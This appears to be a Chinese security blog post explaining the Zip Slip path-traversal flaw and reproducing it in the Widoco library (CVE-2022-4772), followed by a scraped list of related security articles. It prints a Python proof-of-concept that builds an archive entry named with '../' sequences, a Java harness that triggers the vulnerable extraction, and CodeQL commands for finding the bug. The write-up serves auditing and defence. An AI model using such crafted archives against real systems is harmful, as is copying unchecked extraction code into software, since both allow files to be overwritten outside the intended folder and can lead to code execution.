Zip Slip漏洞审计实战
前言
最近看到许少的推有说到Zip Slip这个漏洞导致的RCE,其实我在代码审计的时候确实发现有不少功能模块都是使用ZIP来解压,其实还是在真实系统中经常见到的。

于是想着好久没有写过博客了,想借着这次机会更新一下吧,免得读者以为我在偷懒没学习了~
Zip Slip是什么漏洞
Zip Slip是一种在压缩包中特制(../../../evil.sh)的解压缩文件替换漏洞,包括多种解压缩如tar、jar、war、cpio、apk、rar、7z和zip等。
Java中较为常见的场景是上传压缩包进行解压的时候,后端使用解压类直接将压缩包当中的节点解压出来,可能会通过节点的名字../跳转到上级目录中,从而导致任意目录的文件替换。如果结合系统特性和某些定时任务脚本,就可能导致RCE的执行,因此该漏洞也被标记为高危漏洞。
我从先知上TGAO师傅发布的文章里面公布的poc:
import zipfile if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.write("E:/qqq.txt", "../../../xixi", zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e
其中qqq.txt是需要压缩的文件,../../../xixi是该文件在压缩包中的名字
之后在Java中使用zipEntry.getName()等方法获取的就是../../../xixi这个字符串
更多的框架Zip-Slip漏洞可以在开源项目中找到:https://github.com/snyk/zip-slip-vulnerability
漏洞分析实战
java.util.zip.ZipEntry
该类是Jdk中自带的原生类,在TGAO师傅发布的文章中介绍到了,这里就不在赘述了

Widoco Zip-Slip(CVE-2022-4772)漏洞分析
漏洞描述
WIDOCO是一个用于记录本体的向导。帮助您通过在GUI中执行一系列步骤,自动发布和创建一个丰富的、定制的本体文档。 WIDOCO在1.4.17版本之前存在Zip-Slip漏洞,漏洞点在src/main/java/widoco/WidocoUtils.java文件中,通过unZipIt函数可以将zip包中的文件写入到任意可写入的文件夹中,这将影响服务器的完整性。
漏洞定位
查看1.4.17版本和Github上Master最新的版本做对比

发现是在方法Unzipit中进行了修补
漏洞复现
首先添加Widoco有漏洞版本到项目依赖中
<dependencies>
<dependency>
<groupId>com.github.dgarijo</groupId>
<artifactId>Widoco</artifactId>
<version>v1.4.16</version>
</dependency>
</dependencies> [ ... ] <repositories>
<repository>
<id>jitpack.io</id>
<url>https://jitpack.io</url>
</repository>
</repositories>
运行poc.py,设置跨越到上级目录../xixi文件

再编写漏洞利用代码,模拟真实场景下压缩包解压的情况
package javaTest;
import widoco.WidocoUtils;
public class GST {
public static void main(String[] args){
String path = GST.class.getResource("/").toString();
System.out.println("path = " + path);
String resourceName = "/poc.zip";
String outputFolder = "E:\\work\\TempVuln\\tempDir";
WidocoUtils.unZipIt(resourceName,outputFolder);
System.out.println("Done");
}
}
执行后xixi文件就直接被解压到上级目录下,造成Zip-Slip漏洞

再来看看修复方案,是判断解压的路径和设置的目标主目录是否是相等的,如果不是则抛出异常

使用CodeQL发现漏洞
首先下载目标对应版本的项目,使用如下命令创建数据库
codeql database create qldb-test -l java
创建成功后会有successful的提示
之后使用database analyze进行分析
codeql database analyze qldb-test E:\codeql\ql\java\ql\src\Security\CWE --format=sarifv2.1.0 --output=result.sarif
这里的路径是CWE的分析规则,挨个进行分析
在该目录会生成一个result.sarif文件,通过vscode的sarif viewer插件打开

打开sarif文件,从RULES一栏中可以看到zipslip的漏洞就发现了

如此的漏洞,在代码审计和系统中很多开发人员都不知道,也许随手就拿来用了

Reference
[2].https://github.com/snyk/zip-slip-vulnerability
[3].https://xz.aliyun.com/t/12081
[4].https://github.com/dgarijo/Widoco/pull/551
[5].https://vip.riskivy.com/detail/1607889173715488768
Zip Slip漏洞审计实战的更多相关文章
- PHP代码审计2-常用超全局变量,常用命令注入,常用XSS漏洞审计,文件包含
超全局变量 $GLOBALS — 引用全局作用域中可用的全部变量$_SERVER — 服务器和执行环境信息$_GET — HTTP GET 变量$_POST — HTTP POST 变量$_FILES ...
- Linux安全漏洞审计工具Lynis
Linux安全漏洞审计工具Lynis Lynis是针对类Unix系统的审计工具,它支持Unix.Linux.FreeBSD.Mac OS多种操作系统.它能对系统实施大于400种测试,以发现39个方 ...
- dedecmsv5.7sp1远程文件包含漏洞审计
dedecms5.7 sp1版本存在远程文件包含漏洞,在此记录审计复现漏洞过程. 漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当,导致变量覆 ...
- 原创QQ影音DLL劫持漏洞+动画实战教程
1.什么是DLL DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型.在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成 ...
- ECShop全系列版本远程代码执行高危漏洞分析+实战提权
漏洞概述 ECShop的user.php文件中的display函数的模版变量可控,导致注入,配合注入可达到远程代码执行.攻击者无需登录站点等操作,可以直接远程写入webshell,危害严重. 漏洞评级 ...
- 60cms Cookies欺骗漏洞审计
源码地址:https://files.cnblogs.com/files/ssooking/60cms.zip 运行60cms目录下的Netbox.exe即可开启Asp Web服务,默认端口80 环境 ...
- 格式化字符串漏洞利用实战之 njctf-decoder
前言 格式化字符串漏洞也是一种比较常见的漏洞利用技术.ctf 中也经常出现. 本文以 njctf 线下赛的一道题为例进行实战. 题目链接:https://gitee.com/hac425/blog_d ...
- PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)
摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...
- PHP文件包含漏洞攻防实战
本文对PHP文件包含漏洞的形成.利用技巧及防范进行了详细分析,并通过一个真实案例演示了如何利用PHP文件包含漏洞对目标网站进行渗透测试,最终成功获取到网站的WebShell. PHP是一种非常流行的W ...
- csv注入漏洞原理&&实战
前言 为了找工作,巩固巩固知识.本文会介绍 csv 注入漏洞的原理,最后给出一个示例. 正文 在 csv 文件 和 xlsx 文件中的每一项的值如果是 =, @, +, - 就会被 excel 识 ...
随机推荐
- SignalR基本认识以及使用
SignalR基本认识以及使用 什么是WebSocket.SignalR WebSocket 1.WebSocket基于TCP协议,支持二进制通信,双工通信. 2.性能和并发能力更强. 3.WebSo ...
- mybatis查询sql时,在不分页的情况下,自动加了limit导致接口报错
今天在开发过程中,我遇到了很奇怪的问题.自己写的代码明明没有分页进行查询,但是打印出来的sql缺有limit 导致我getone的时候,出现了二个limit,导致接口报错. ### Cause: or ...
- 058_Component Bundles
- windows 和 linux 之间的文件传输操作
参考:http://www.jb51.net/article/123378.htm 本文介绍,如何实现 windows 主机与 linux 虚拟机之间的文件传输. 一.获取虚拟机 IP 地址 要实现 ...
- 记一次前端ajax禁止使用异步async的操作
环境: 前端layui jquery 情况: 页面在iframe里面, 然后点击按钮,弹出输入框.点击确认,弹出框发送内容到后台, 传送数据到后台后,然后根据返回一个map给前端.前端解析数据,返回 ...
- 2D 消隐效果
在触发消隐的物体(比如玩家)挂下面的代码,以及box collider,rigidbody 2d using UnityEngine; public class ColliderFader : Mon ...
- 2020-2021第一学期2024"DCDD"小组第十二周讨论
2020-2021第一学期"DCDD"第十二周讨论 这次不同的是,先来一个密文吧: 53fd95b7c2bd8c1383cdcbf5b04e3880 求解! 小组名称:DCDD 小 ...
- pycharm 导入requests库踩坑帖
requests库确认安装了,但是在pycharm里各种导入不了,简直要奔溃,后来看帖子,有博主"alt + enter"了一下,跳出了install选项,然后就可以了... 用个 ...
- 微信浏览器h5页面开发遇到问题
1.ios不支持window.open(),要创建a链接 let elink = document.createElement('a'); elink.href = baseURL+'/onlineC ...
- Unity中常用的几种读取本地文件方式
使用的命名空间如下 using LitJson;using System.Collections.Generic;using System.IO;using System.Text;using Uni ...